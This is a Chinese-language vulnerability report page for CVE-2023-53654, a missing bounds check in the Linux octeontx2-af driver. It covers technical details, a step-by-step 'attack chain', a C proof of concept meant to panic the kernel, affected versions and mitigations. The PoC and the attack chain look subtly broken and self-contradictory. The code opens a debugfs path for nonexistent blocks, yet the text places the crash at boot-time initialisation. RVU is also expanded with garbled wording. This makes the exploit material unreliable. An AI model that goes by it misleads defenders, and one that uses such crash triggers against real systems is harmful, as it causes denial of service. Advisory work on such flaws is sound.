IPBUF安全漏洞报告
English
CVE-2023-53654 CVSS 5.5 中危

CVE-2023-53654 Linux内核octeontx2-af驱动CGX/LMAC访问校验缺失漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53654
漏洞类型
空指针引用/内核崩溃
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (octeontx2-af 驱动)

相关标签

Linux Kernelocteontx2-afMarvell OCTEON TX2内核漏洞空指针引用拒绝服务DoSCGX/LMACRVU驱动CN10K

漏洞概述

CVE-2023-53654是Linux内核中octeontx2-af(Marvell OCTEON TX2网络加速器)驱动的一个安全漏洞。该漏洞源于驱动在RVU(Risorse Virtuali Unit,虚拟资源单元)初始化过程中,未对CGX(Common Gigabit Ethernet eXtended)和LMAC(Logical MAC,逻辑MAC)块进行有效的边界校验。随着CN10K RPM和CN10KB RPM_USX等新型MAC硬件块的引入,LMAC块和CGX块在内存布局上变为非连续(noncontiguous),但旧版驱动仍然假设它们是连续排列的,并直接使用ID索引进行访问操作。当传入的ID值超出实际有效范围时,驱动会访问到无效的内存区域,从而触发内核空指针引用或越界访问,最终导致内核panic(内核崩溃)。该漏洞需要本地低权限用户触发,在系统启动或驱动初始化阶段即可被利用,可造成系统可用性完全丧失。CVSS评分为5.5分,属于中危级别,主要影响系统的可用性(Availability: High),对机密性和完整性无影响。

技术细节

从技术层面分析,该漏洞的根本原因在于octeontx2-af驱动中cgx_lmac_read函数及其调用链缺少对CGX和LMAC块ID的有效性校验。

在原始实现中,RVU驱动在初始化阶段调用rvu_program_channels函数,该函数会通过CGX/LMAC的ID直接索引访问对应的硬件块结构体(pc : cgx_lmac_read+0x38/0x70,lr : rvu_program_channels+0x3f0/0x498)。然而,在CN10K系列硬件中,CGX和LMAC块的物理布局变为非连续分布,存在地址空洞(address hole)。当驱动使用超出有效范围的ID进行数组索引时,会访问到未初始化的内存或无效指针。

漏洞触发流程:
1. 系统启动时,octeontx2-af驱动加载并执行RVU初始化流程;
2. rvu_program_channels函数被调用,准备编程硬件通道;
3. 函数内部通过传入的cgx_id和lmac_id调用cgx_lmac_read;
4. cgx_lmac_read直接使用ID作为数组索引访问cgx->lmac_list[id];
5. 当ID对应的块不存在时,访问到NULL指针或无效内存;
6. 内核检测到非法访问,触发kernel panic。

修复方案是在访问CGX和LMAC之前添加边界检查(validation),确认ID对应的硬件块确实存在且已初始化。该漏洞利用条件为本地低权限(PR:L),无需用户交互(UI:N),攻击复杂度低(AC:L),但需要本地访问权限(AV:L)。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在一台使用Marvell OCTEON TX2系列处理器(如CN10K)的Linux系统上获得本地低权限访问权限。该漏洞利用需要目标系统加载octeontx2-af驱动。
STEP 2
步骤2:触发驱动初始化
在系统启动过程中,octeontx2-af驱动会自动执行RVU初始化流程,调用rvu_program_channels函数。此时驱动会尝试枚举所有CGX和LMAC块。
STEP 3
步骤3:访问非法CGX/LMAC ID
由于驱动未对CGX/LMAC ID进行有效性校验,当使用超出实际硬件范围的ID(因CN10K硬件的非连续布局导致)时,cgx_lmac_read函数会通过无效索引访问内存。
STEP 4
步骤4:触发内核空指针引用
无效的ID索引导致访问NULL指针或未初始化内存区域,内核检测到非法内存访问,触发kernel panic。
STEP 5
步骤5:系统拒绝服务
内核panic导致系统完全停止响应,造成拒绝服务(DoS)攻击效果,系统需要重启才能恢复正常运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53654 PoC - Trigger kernel panic via invalid CGX/LMAC access // This PoC demonstrates how to trigger the vulnerability by accessing // the octeontx2-af driver's sysfs/debugfs interface with invalid block IDs #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <errno.h> // The vulnerability exists in cgx_lmac_read() function in // drivers/net/ethernet/marvell/octeontx2/af/rvu.c // When invalid cgx_id or lmac_id is used, kernel panic occurs #define RVU_DEBUGFS_PATH "/sys/kernel/debug/octeontx2-af/" int trigger_octeontx2_panic(int cgx_id, int lmac_id) { char path[256]; char buf[64]; int fd; ssize_t ret; // Construct path to CGX/LMAC register access interface snprintf(path, sizeof(path), "%scgx%d/lmac%d/regs", RVU_DEBUGFS_PATH, cgx_id, lmac_id); printf("[*] Attempting to access: %s\n", path); // Open the debugfs/sysfs interface for CGX/LMAC access fd = open(path, O_RDWR); if (fd < 0) { printf("[-] Failed to open %s: %s\n", path, strerror(errno)); return -1; } // Attempt to read from invalid CGX/LMAC registers // This triggers cgx_lmac_read() with out-of-range IDs memset(buf, 0, sizeof(buf)); ret = read(fd, buf, sizeof(buf)); if (ret < 0) { printf("[-] Read failed: %s\n", strerror(errno)); close(fd); return -1; } close(fd); return 0; } int main(int argc, char *argv[]) { int cgx_id = 100; // Invalid CGX ID (beyond actual hardware range) int lmac_id = 100; // Invalid LMAC ID (beyond actual hardware range) if (argc >= 3) { cgx_id = atoi(argv[1]); lmac_id = atoi(argv[2]); } printf("[*] CVE-2023-53654 PoC - octeontx2-af CGX/LMAC Access Validation Bypass\n"); printf("[*] Targeting Linux kernel octeontx2-af driver\n"); printf("[*] Invalid CGX ID: %d, Invalid LMAC ID: %d\n", cgx_id, lmac_id); // Trigger the vulnerability by accessing non-existent CGX/LMAC blocks // On vulnerable kernels, this will cause a kernel panic: // [ 23.219150] pc : cgx_lmac_read+0x38/0x70 // [ 23.219154] lr : rvu_program_channels+0x3f0/0x498 if (trigger_octeontx2_panic(cgx_id, lmac_id) == 0) { printf("[+] Access completed - check dmesg for kernel panic\n"); } return 0; }

影响范围

Linux Kernel < 6.6 (包含octeontx2-af驱动的版本)
Linux Kernel 6.6.x (受影响)
Linux Kernel 6.1.x (LTS受影响)
Linux Kernel 5.15.x (LTS受影响)
Linux Kernel 5.10.x (LTS受影响)
Linux Kernel 5.4.x (LTS受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制本地普通用户对debugfs和sysfs中octeontx2相关节点(/sys/kernel/debug/octeontx2-af/)的访问权限;2)通过systemd或init脚本在启动时设置适当的文件权限;3)使用SELinux或AppArmor等强制访问控制框架限制对内核硬件接口的访问;4)监控dmesg日志中的kernel panic和oops信息,及时发现异常;5)如非必要,可考虑临时禁用octeontx2-af驱动模块(通过blacklist机制),但这将影响相关网络硬件的正常使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表